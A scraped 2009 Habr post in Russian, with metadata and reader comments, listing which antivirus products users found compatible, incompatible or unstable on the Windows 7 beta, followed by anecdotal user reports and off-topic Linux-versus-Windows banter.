(samodum)", "Al-Xumuk", "Виталий (Vnuchok)", "migelle74", "striver", "striver", "Stas911 (Stas911)", "oleg_go", "Георгий Хромченко (Mox)", "Stas911 (Stas911)", "oleg_go", "MyshinyjKorol", "Сергей Мереуца (Greendq)", "pproger", "Vasek (iliabvf)", "Арсений Федоров (aapazhe)", "GM-2", "zerg59", "Scrayer", "zerg59", "Belking", "{}", "Кузьмич (Hivemaster)", "Misha_Mo", "Mike_soft", "Mike_soft", "yayashitoya", "ledocool", "Vladimir Korotenko (firedragon)", "Belking", "bugdesigner", "Ivan Zvyagin (baragol)", "ILya63", "Автушенко Игорь (GarryC)", "Mike_soft", "Сержант Александру (solariserj)", "konst90", "Belking", "lingvo", "Игорь Михайлов (igormich88)", "lokiby", "Vasek (iliabvf)", "Василий Фёдоров (kommari)", "yayashitoya", "oleg_go", "rotarepo", "Belking", "Роман Панков (prankov)", "Вячеслав (Kwisatz)", "Mike_soft", "Дмитрий Филиппов (Mimus_spb)", "Stas911 (Stas911)", "Belking", "GM-2", "Belking", "Belking", "Stas911 (Stas911)", "striver", "striver", "Александр Симченко (shedir)", "Владимир Нюренберг (VladNY)", "GM-2", "yayashitoya", "oleg_go", "yayashitoya", "MyshinyjKorol", "yayashitoya", "Belking", "MyshinyjKorol", "yayashitoya", "yayashitoya", "MyshinyjKorol", "striver", "yayashitoya", "MyshinyjKorol", "MyshinyjKorol", "striver", "Belking", "MyshinyjKorol", "oleg_go", "striver", "yayashitoya", "Belking", "oleg_go", "oracle_and_delphi", "Al_Azif" ], "children": [ [ 19785926, 19786158 ], [], [ 19788208 ], [], [], [ 19785354 ], [ 19788130 ], [], [ 19786030 ], [ 19785360, 19785406, 19785944 ], [ 19786366, 19788482 ], [], [ 19785448, 19788124, 19788488, 19789674 ], [ 19786316 ], [ 19785474 ], [], [ 19785502 ], [ 19786808, 19787542 ], [ 19785646 ], [], [ 19785662 ], [ 19785798 ], [ 19785858, 19785952 ], [ 19785970 ], [ 19786516 ], [], [ 19786732, 19788434 ], [ 19786792 ], [ 19786876, 19787602 ], [ 19786272, 19787776, 19787872 ], [ 19786598 ], [], [ 19787738 ], [ 19786596, 19787624 ], [ 19788044 ], [ 19791782 ], [], [ 19788058 ], [ 19786934 ], [ 19787398 ], [], [], [ 19787276 ], [ 19787632 ], [ 19788754 ], [ 19787360 ], [ 19787464 ], [], [], [ 19787658 ], [], [], [], [], [], [ 19788134 ], [ 19787720 ], [ 19787740 ], [ 19789114 ], [ 19787750 ], [], [], [ 19788412 ], [], [ 19788198 ], [], [], [], [ 19788156 ], [], [ 19788372 ], [ 19789222, 19793230 ], [ 19790486 ], [], [], [], [ 19788698 ], [], [ 19788538, 19791422 ], [ 19788894 ], [ 19789156 ], [ 19788870, 19788902, 19788990 ], [], [], [ 19788916 ], [], [], [ 19791382 ], [], [], [ 19817174 ], [], [ 19789612 ], [ 19789636 ], [ 19796264 ], [ 19789688 ], [], [], [ 19790744 ], [], [], [ 19791408 ], [], [ 19791522 ], [ 19792412, 19793360 ], [ 19791900, 19792422, 19792916, 19800440 ], [], [], [], [], [], [], [ 19796270 ], [ 19796278 ], [ 19797068, 19799176 ], [ 19797762 ], [ 19798356, 19798682 ], [ 19798830 ], [ 19798840, 19798930 ], [], [ 19798880 ], [ 19798936 ], [ 19798986 ], [ 19798978, 19799062 ], [ 19798998 ], [ 19798992 ], [ 19799016 ], [ 19799116 ], [ 19799106 ], [], [], [ 19799170 ], [], [], [], [] ] }
49,306
ru
https://habr.com/ru/post/49306/
Windows 7 vs Антивирусы
В сети много споров о новой системе и совместимости её с антивирусами. Я составил небольшой список с тремя группами: "совместимы", "не совместимы", "совместимы, но работают не стабильно". Предлагаю ознакомится и поделиться своей информацией, чтобы составить общую картину. #### Совместимы: AVG Free Avira Antivir Kaspersky antivirus NOD 32 Beta 4 PCGuard Anti-Virus Microsoft Forefront Client Security (Enterprise) COMODO Dr.Web Desktop Security Suite #### Не совместимы: Windows Live One Care McAfee Virus Scan и McAfee Total Protection Trend Micro Internet Security 2009 #### Совместимы, но работают не стабильно: Avast antivirus(проблемы) Norton Internet Security и Norton AntiVirus (проблемы) Microsoft в свою очередь рекомендует пользоваться Антивирусом Касперского, AVG или Norton 360.
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg234.imageshack.us%2Fimg234%2F135%2F2560193405gb8.jpg%22" alt="image"/><br/> В сети много споров о новой системе и совместимости её с антивирусами. Я составил небольшой список с тремя группами: "<u>совместимы</u>", "<u>не совместимы</u>", "<u>совместимы, но работают не стабильно</u>". Предлагаю ознакомится и поделиться своей информацией, чтобы составить общую картину.<br/> <a name="habracut"></a><br/> <h4>Совместимы:</h4><ul> <li>AVG Free</li> <li>Avira Antivir</li> <li>Kaspersky antivirus</li> <li>NOD 32 Beta 4</li> <li>PCGuard Anti-Virus</li> <li>Microsoft Forefront Client Security (Enterprise)</li> <li>COMODO</li> <li>Dr.Web Desktop Security Suite</li> </ul><br/> <h4>Не совместимы:</h4><ul> <li>Windows Live One Care</li> <li>McAfee Virus Scan и McAfee Total Protection</li> <li>Trend Micro Internet Security 2009</li> </ul><br/> <h4>Совместимы, но работают не стабильно:</h4><ul> <li>Avast antivirus(<a href="http://forum.avast.com/index.php?topic=41707.0">проблемы</a>)</li> <li>Norton Internet Security и Norton AntiVirus (<a href="http://community.norton.com/norton/board/message?message.uid=54181#U54181">проблемы</a>)</li> </ul><br/> <br/> Microsoft в свою очередь рекомендует пользоваться Антивирусом Касперского, AVG или Norton 360.</div>
Антон (krokhmalyuk)
null
null
<img src="https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg234.imageshack.us%2Fimg234%2F135%2F2560193405gb8.jpg%22" alt="image"/><br/> В сети много споров о новой системе и совместимости её с антивирусами. Я составил небольшой список с тремя группами: &quot;<u>совместимы</u>&quot;, &quot;<u>не совместимы</u>&quot;, &quot;<u>совместимы, но работают не стабильно</u>&quot;. Предлагаю ознакомится и поделиться своей информацией, чтобы составить общую картину.<br/>
В сети много споров о новой системе и совместимости её с антивирусами. Я составил небольшой список с тремя группами: "совместимы", "не совместимы", "совместимы, но работают не стабильно". Предлагаю ознакомится и поделиться своей информацией, чтобы составить общую картину.
article
1,232,105,596
{ "commentsCount": 158, "favoritesCount": 8, "readingCount": 3975, "score": 32, "votesCount": 66, "votesCountPlus": 49, "votesCountMinus": 17 }
[]
[ "win_dev" ]
[ "develop" ]
[ "windows 7", "антивирусы" ]
1
null
null
{ "id": [ 11000638, 11000640, 11000642, 11000644, 11000646, 11000648, 11000650, 11000652, 11000654, 11000656, 11000658, 11000660, 11000662, 11000664, 11000666, 11000668, 11000670, 11000672, 11000674, 11000676, 11000678, 11000680, 11000682, 11000684, 11000686, 11000688, 11000690, 11000692, 11000694, 11000696, 11000698, 11000700, 11000702, 11000704, 11000706, 11000708, 11000710, 11000712, 11000714, 11000716, 11000718, 11000720, 11000722, 11000724, 11000726, 11000728, 11000730, 11000732, 11000734, 11000736, 11000738, 11000740, 11000742, 11000744, 11000746, 11000748, 11000750, 11000752, 11000754, 11000756, 11000758, 11000760, 11000762, 11000764, 11000766, 11000768, 11000770, 11000772, 11000774, 11000776, 11000778, 11000780, 11000782, 11000784, 11000786, 11000788, 11000790, 11000792, 11000794, 11000796, 11000798, 11000800, 11000802, 11000804, 11000806, 11000808, 11000810, 11000812, 11000814, 11000816, 11000818, 11000820, 11000822, 11000824, 11000826, 11000828, 11000830, 11000832, 11000834, 11000836, 11000838, 11000840, 11000842, 11000844, 11000846, 11000848, 11000850, 11000852, 11000854, 11000856, 11000858, 11000860, 11000862, 11000864, 11000866, 11000868, 11000870, 11000872, 11000874, 11000876, 11000878, 11000880, 11000882, 11000884, 11000886, 11000888, 11000890, 11000892, 11000894, 11000896, 11000898, 11000900, 11000902, 11000904, 11000906, 11000908, 11000910, 11000912, 11000914, 11000916, 11000918, 11000920, 11000922, 11000924, 11000926, 11000928, 11000930, 11000932, 11000934, 11000936, 11000938, 11000940, 11000942, 11000944, 11000946, 11000948, 11000950, 11000952 ], "parent_id": [ null, null, null, 11000640, 11000638, null, 11000646, 11000640, 11000640, 11000646, null, null, null, null, null, 11000656, null, 11000666, null, 11000674, null, 11000652, 11000676, 11000664, 11000660, 11000664, 11000668, null, 11000688, 11000694, 11000680, null, 11000650, 11000666, 11000686, 11000706, 11000698, null, null, 11000712, null, 11000716, 11000716, 11000714, 11000714, 11000714, 11000646, 11000666, 11000698, 11000674, 11000698, 11000710, 11000718, 11000650, 11000730, 11000680, 11000736, 11000750, 11000740, 11000748, null, null, 11000758, 11000732, 11000754, 11000764, 11000766, null, 11000742, 11000770, 11000776, 11000712, 11000778, 11000780, 11000772, 11000782, 11000770, 11000744, null, 11000792, 11000788, 11000788, null, null, 11000794, 11000774, null, 11000774, 11000718, null, 11000784, 11000818, 11000812, 11000798, null, 11000822, 11000730, null, 11000828, 11000828, 11000832, 11000744, null, 11000832, 11000828, 11000828, 11000846, 11000834, 11000768, 11000850, null, 11000834, 11000848, 11000856, 11000854, 11000860, null, 11000790, 11000872, 11000854, 11000852, 11000868, 11000876, 11000842, null, 11000878, 11000888, 11000880, 11000890, null, 11000892, 11000734, 11000710, 11000900, 11000898, null, 11000906, 11000910, null, null, 11000904, 11000914, 11000912, 11000922, 11000730, 11000702, 11000866, 11000924, 11000674, null, null, 11000862, 11000864, 11000938, null, 11000646, 11000818, null ], "level": [ 0, 0, 0, 1, 1, 0, 2, 1, 1, 2, 0, 0, 0, 0, 0, 3, 0, 1, 0, 1, 0, 2, 2, 1, 1, 1, 4, 0, 2, 3, 3, 0, 3, 1, 2, 3, 4, 0, 0, 1, 0, 2, 2, 1, 1, 1, 2, 1, 4, 1, 4, 5, 1, 3, 3, 3, 2, 3, 6, 4, 0, 0, 1, 2, 7, 3, 8, 0, 2, 9, 10, 1, 11, 2, 1, 12, 9, 4, 0, 5, 13, 13, 0, 0, 1, 3, 0, 3, 1, 0, 3, 4, 4, 14, 0, 5, 3, 0, 6, 6, 1, 4, 0, 1, 6, 6, 7, 7, 4, 8, 0, 7, 7, 9, 5, 8, 0, 10, 11, 5, 8, 9, 6, 1, 0, 9, 10, 10, 11, 0, 11, 5, 5, 6, 12, 0, 13, 14, 0, 0, 7, 1, 15, 16, 3, 4, 6, 17, 1, 0, 0, 8, 10, 1, 0, 2, 4, 0 ], "time_published": [ 1232105732, 1232105758, 1232105816, 1232106208, 1232106321, 1232106340, 1232106729, 1232106789, 1232106818, 1232106991, 1232107074, 1232107262, 1232107355, 1232107457, 1232107489, 1232108056, 1232108072, 1232108113, 1232108121, 1232108174, 1232108318, 1232108703, 1232108801, 1232108891, 1232108975, 1232108998, 1232109002, 1232109010, 1232109074, 1232109228, 1232109299, 1232109393, 1232109438, 1232109480, 1232109701, 1232109925, 1232110175, 1232110188, 1232110496, 1232111072, 1232111191, 1232111334, 1232111363, 1232111410, 1232111455, 1232111534, 1232111710, 1232111717, 1232111939, 1232112176, 1232112199, 1232112837, 1232112887, 1232112907, 1232113208, 1232113292, 1232114046, 1232114231, 1232114316, 1232114380, 1232114438, 1232114762, 1232114837, 1232115680, 1232115695, 1232116142, 1232116321, 1232116595, 1232116664, 1232116713, 1232116913, 1232116993, 1232117051, 1232117751, 1232117784, 1232117844, 1232118884, 1232119132, 1232119210, 1232119792, 1232119805, 1232119809, 1232122714, 1232123458, 1232124371, 1232124535, 1232124954, 1232125071, 1232125608, 1232126181, 1232126977, 1232127086, 1232127496, 1232127978, 1232128526, 1232129427, 1232129713, 1232133211, 1232135347, 1232135760, 1232135982, 1232136633, 1232137321, 1232137826, 1232138253, 1232138914, 1232139792, 1232140197, 1232140265, 1232140972, 1232141081, 1232141097, 1232141380, 1232142028, 1232143409, 1232145630, 1232145675, 1232145699, 1232145746, 1232145944, 1232146042, 1232154802, 1232179792, 1232183785, 1232187375, 1232190736, 1232193409, 1232195053, 1232200218, 1232209403, 1232222300, 1232236282, 1232244386, 1232272522, 1232286014, 1232294315, 1232296583, 1232300310, 1232300594, 1232304288, 1232309824, 1232319814, 1232326827, 1232350317, 1232357641, 1232372456, 1232373565, 1232387123, 1232387701, 1232388147, 1232629239, 1232759732, 1232760184, 1232817478, 1233162964, 1233244157, 1233591053, 1257080967 ], "score": [ 4, 24, -1, 1, 0, 0, 3, 0, -2, 18, -2, 3, 1, 0, 0, 0, 1, 5, -3, 2, 2, -20, 1, 3, 0, 0, 9, 0, 0, 0, 11, 0, 6, 5, 0, 0, 10, -4, 1, 3, 0, 0, 2, 2, 0, 0, 8, -5, 0, 0, -3, 0, 2, 2, 2, 0, 0, -1, -5, -1, -2, 0, 1, 0, 0, -2, -1, 0, 0, 0, 0, 0, 0, -4, 0, -2, 0, 0, 1, 0, 1, 0, 1, 0, 0, 3, 0, 0, 1, 0, 0, -3, 0, 2, 0, -2, 0, 0, 2, 3, 0, 0, -5, 0, 0, 0, -2, -2, 0, 0, 0, 0, -1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 2, 0, -1, 0, 1, -3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0 ], "votes": [ 16, 26, 5, 5, 0, 0, 7, 0, 4, 32, 2, 3, 1, 0, 14, 0, 1, 17, 5, 2, 2, 22, 3, 5, 0, 0, 15, 0, 0, 0, 15, 0, 8, 7, 0, 0, 14, 14, 1, 3, 0, 2, 2, 2, 0, 0, 8, 9, 2, 0, 3, 0, 4, 2, 2, 0, 0, 1, 9, 1, 4, 0, 1, 0, 0, 2, 3, 0, 0, 0, 0, 0, 0, 6, 0, 2, 0, 0, 1, 0, 1, 0, 1, 0, 0, 3, 2, 0, 1, 0, 0, 3, 0, 2, 0, 4, 0, 2, 2, 3, 0, 0, 7, 0, 0, 0, 2, 4, 0, 0, 0, 2, 1, 2, 0, 1, 0, 0, 0, 0, 0, 0, 0, 2, 0, 1, 2, 1, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хде dr.web?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не совместимы:<br/>\r\n<br/>\r\n* Windows Live One Care<br/>\r\n<br/>\r\nотлично)))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это же уже давно не новость, и про антивирусы обзоры писали…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">forefornt за него ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По поводу его совместимости в интернете ничего не нашёл. Если есть информация — поделитесь. Обязательно добавлю :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ага, «ч т. д.» просто</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну я бы не сказал, что он один из лучших</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да ну… Я думаю к выходу финала Avast подружится с w7.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня на Windows 7 AVG Free конфликтовал с Мирандой!<br/>\r\n<br/>\r\nПри наборе текста в Миранде (независимо от плагинов) AVG Resident Shield отнимал 100% процессорного времени.<br/>\r\n<br/>\r\nТак что пути антивирусов неисповедимы :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">KIS 2009, 3 недели, все ок.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А Comodo Internet Security x64 у меня не хочет ставиться на w7 x64 :(<br/>\r\nЭто может быть из-за того, что в качестве антивируса у меня стоитNod32?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Лучше бы в осветили тему <b>Windows 7 vs Вирусы</b></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Avira antivir Free status — ok.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Эээм. Лучше бы осветили <b>Машины vs Бензин</b>. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">почему-то в сети не ходят слухи об абсолютно новой уникальной системе активации Windows 7. Все больше про увеличенную производительность, другие улучшения. Не похоже на микрософт.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это не слухи, это факты. У меня знакомые виндузятники уже перекинулись на семёрку.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">avz?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а жалко. я оч хочу перенести вистовского сапера к себе в Кубунту)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">так понимаю ругать микрософт нынче не в моде, минусуют. Ну так плохого про их грядущую ОС я ничего и не сказал, более того судя по этим ранним обзорам мне она нравится. Разве что про их прежние выкрутасы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">лично не тестировал, но может… вообще антивирусы крайне не дружелюбны друг к другу<br/>\r\n<br/>\r\nприкинь, у меня тут антивирусы друг друга за вирусы приняли — войну развернули — вот уррроды!))))<br/>\r\n<br/>\r\nтак прикольно — вчера каспЕр убил нода,<br/>\r\nа седня остаточные файлы ндоа самостоятельно скачали себя и подкрепление из инета за счет моего траффика, даж не спросив — и вместе мочат каспера)))<br/>\r\n<br/>\r\nес каспЕр проиграет — у меня полсистемы, грят, рухнет))<br/>\r\nно се равно за нод сёня болею — живучий падла)<br/>\r\n<br/>\r\n(с) bash.org.ru/quote/215770</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Странно, у меня аналогичная комбинация работает на ура.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">пробовали режим совместимости с Вистой? На х32 помог</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">К войне! <br/>\r\n<a href=\"http://www.trollim.ru\">www.trollim.ru</a> :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а у меня аваст хоме без проблем работает</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">для инсталлера в смысле</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">спасибо, помогло</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ребят, вам не надоело во всех топиках про виндовс «тонко» шутить о том что у вас линукс?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Делюсь: <br/>\r\nWindows 7 beta 1 64bit + Dr.Web AV-Desk = неделя, полет нормальный.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я думаю всё как обычно: вирусы начинают и выигрывают :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Миранда штука сложная, версий много, версий и вариантов установленных в ней плагинов и того больше.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ну да, просто &lt;~Kpyto> написал «независимо от плагинов». У меня 0.7.13 уникод</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если приглядеться, во всех топиках про Виндоус отмечаются лишь Убунтоиды)) <br/>\r\nЛинукс уже не тот)))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я просто поражен! Теперь вот в ожидание тем «Windows 7 vs пользователи», «Windows 7 vs здравый смысл», «Windows 7 vs котлтеты по-киевски» и «Windows 7 vs когда же всем надоест мусолить слухи о Windows 7».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">кстати никто еще написал на моей памяти про их новую командную оболочку, было бы интересно</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>> «Windows 7 vs когда же всем надоест мусолить слухи о Windows 7»<br/>\r\n<br/>\r\nпочему слухи? если можно поставить и проверить самому</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ИМХО с точки хрения разработчика не всегда удобно оставлять поддержку старой архитектуры. Ну не работают современные антивирусы с Windows 7, и что? Посмотрите на дату выходов антивирусов и Windows 7 beta. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Угу, то есть автор сам все это поставил и убедился?<br/>\r\n<br/>\r\n>По поводу его совместимости в интернете ничего не нашёл… //CrazyMacho <br/>\r\n<br/>\r\nВот это тогда о чем?<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мало того, что не слухи, так уже больше месяца — практики!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Про PowerShell? Там про него столько писать, что для этого можно делать не только отдельный блог, но и отдельный хабр.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кинь ссылку про нее, ибо с нынешней очень страдаю.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а за что человека заминусовали? или теперь у имхо новый смысл? или человек не может высказать свою точку зрения?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Уж очень мне не нравится, что MS так игнорирует существование вирусов, и скорее даже способствует их комфортному пребыванию в системе, чтобы поддержать разработчиков антивирусного по…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Неправда, мы не все такие, я троля в виндовых топиках, наоборот, стараюсь не упоминать о том, что я предпочитаю трахаться с линуксом а не с виндой.<br/>\r\nПруфлинк: <a href=\"http://habrahabr.ru/blogs/windows7/48266/#comment_1247721\">habrahabr.ru/blogs/windows7/48266/#comment_1247721</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ходят слухи что вместо оптимизации кода они переписали скедьюлер.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вобще, если вы не поняли, это была не шутка… ага</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Антивирусы есть костыли для убогой архитектуры системы. Их вообще не должно существовать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня к сожалению после установки BSoD.<br/>\r\n<a href=\"http://www.thevista.ru/forums.php?m=posts&amp;q=13747\">Тут</a> кстати в перечне несовместимого с win 7 софта присутствует Dr.Web Desktop Security Suite</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нас с ним из вредности минусанули =)<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а под вайном он что — не запускается?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">где вы таких слов набрались?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В Радио-Т — Бобук подсказал :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Убунто-еды, хах. <br/>\r\nКоричневая гамма как бы намекает?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">пробовали уже — не хочет(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мощный пиар Windows`a идёт я смотрю. Аккуратное окучивание целевой аудитории. Какая там уже тема по счёту за последнюю неделю.<br/>\r\nА у меня система устойчивая к вирусам и я экономлю 800-1000 рублей в год на этом. Делай как я — ставь Linux. Экономичная, устойчивая к вирусам и падениям система.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Интересен вопрос — как IceSword под вин7 работает?<br/>\r\nНу и другие rootkit hunter'ы?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пиар или нет, а вин7 (ИМХО) действительно сильно отличается от предшественниц… а ставить линух\\бсд\\вин\\етц — это уже имхо вопрос задач и религии… я сам линуксоид и был приятно удивлен, когда поюзал вин7</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Напишите свой очень популярный софт и посмотрим как вы справитесь с затыканием новых дыр. Как все начиналось например с ФайрФоксом — поначалу в нем вообще дыры редко находили, а сейчас вон как разошлись кулхацкеры…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да я сейчас не говорю о своих возможностях в софтописании, и даже не о том что в через фф меня не поимел ни один кулхацкер, а о элементарной безопасности — пользователь системы может сделать с ней всё что угодно. Разве это так сложно, разделить права и для критических действий требовать прав Администратора? Или тот-же «автозапуск»… Как можно по-умолчанию запустить приложение с любого неизвестного носителя? <br/>\r\nВы считаете это случайностью? <br/>\r\n<br/>\r\nС вистой мне не удалось познакомиться, но там уже были скромные попытки повысить безопасность системы, потому и возникает вопрос какие работы проделаны в этом направлении в 7. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А труъ-линуксоид он в своей кастовости чем-то таким отличен от обычного человека, чтобы к этому статусу стремиться? Если вы дейстивтельно думаете, что линуксоид — это синоним элитарности, то наличие планктона, стремящегося стать хотя бы селедкой, такую акулу как вы должно приятно греть. Элитисты они такие. Любят, когда у них под ногами копошится мелочь с щенячьм восторгом в глазах, и если это так, то вот это ваше сообщение — ничто иное, как попытка в своем элитарном статусе утвердиться среди аудитории и ничего более.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вы бы хоть версию нода написали, а то нод 32 бета 4. А ведь есть версии ветки два и ветки три</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ок, я ж ничего и не утверждал. Просто увидел дерово, решил по нему мыслью потечь. Ну раз не дерево, так что ж ;)<br/>\r\nА W7 реально уже в печень забрался. Я уже думаю js фильтр для хабра сочинить, чтобы отбрасывал все, где в заголовке windows 7.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если я тебе скажу скачать мозги, ума-то ведь у тебя не прибавится, даже если ты изыщешь способ, так?<br/>\r\nЕсли я _скачаю_ бету w7, для того, чтобы слухи развеять, мне ее придется, переразбив разделы, поставить, купить лицензии на все эти антивирусы или, если конечно у них есть шароварные версии, не покупать, но поочередно их установить, проверить и удалить. В общем, лучше бы ты молчал что ли. Я бы на тебя столько символов не тратил бы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это 4я ветка. ESET NOD32 Antivirus 4.0.68 Beta</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">О боже… что же они её так часто…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тут фишка на мой взгляд даже не столько в какой-то мифической элитарности других дистров, а в том, что пользователи Ubuntu — это как правило пользователи (линукса) начинающие и потому малоинтересные))<br/>\r\nХотя конечно и исключения бывают))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">чёж вы всё такое ставите, что у всех бсоды одни, уже не знаю сколько сижу на 7000. Пока ниодного. Всё настроил, всё работает.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Avast free edition + Windows 7 Ultimate beta 7000 64bit<br/>\r\nникаких проблем замечено не было, так же как и предыдущей 32-битной бэте<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Был только один циклический вылет при загрузке системы, после установки Dr.Web, а в остальном всё очень даже ничего.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Каждые полгода.<br/>\r\nГрафик.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не заглядывать в тред пробовали?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ClamAV (ClamWin) — единственно свободный — не упомянули…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Аналогично.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ох уж эти убогие людишки :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так, а где Панда?!!! :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Незачот, информационные и биологические системы работают на совершенно разных физических принципах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>с точки хрения разработчика</blockquote><br/>\r\nОпечаточка по Фрейду :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за информацию. Еще бы хотелось увидеть подобный список совместимости 7-ки с разными firewall-ами.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Истиный ты! Очень приятно. Будем знакомы.<br/>\r\n<br/>\r\n/истиный Я.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«Но — график. У меня есть график!<br/>\r\nА всё что не по графику — нафиг-нафиг!» <br/>\r\n© Несчастный Случай :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Совместимы:<br/>\r\nNOD32.v3.0.672.Home.Edition<br/>\r\n<br/>\r\nПользуюсь этим антивирусом с начала установки Семёрки на компьютер. Работает без проблем и глюков.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Насмешил блинн… <br/>\r\nЗнаток архитектуры ОС… 21 от роду…<br/>\r\nсоплю зеленую подотри…<br/>\r\n<br/>\r\nВо-первых, мой тупорылый друг, многоточия в конце каждого предложения — признак говна в башке и неспособности четко формулировать свои мысли.<br/>\r\n<br/>\r\n>стратегии паразитизма идентичны.<br/>\r\nЧто в биосистемах что в содиальных что в 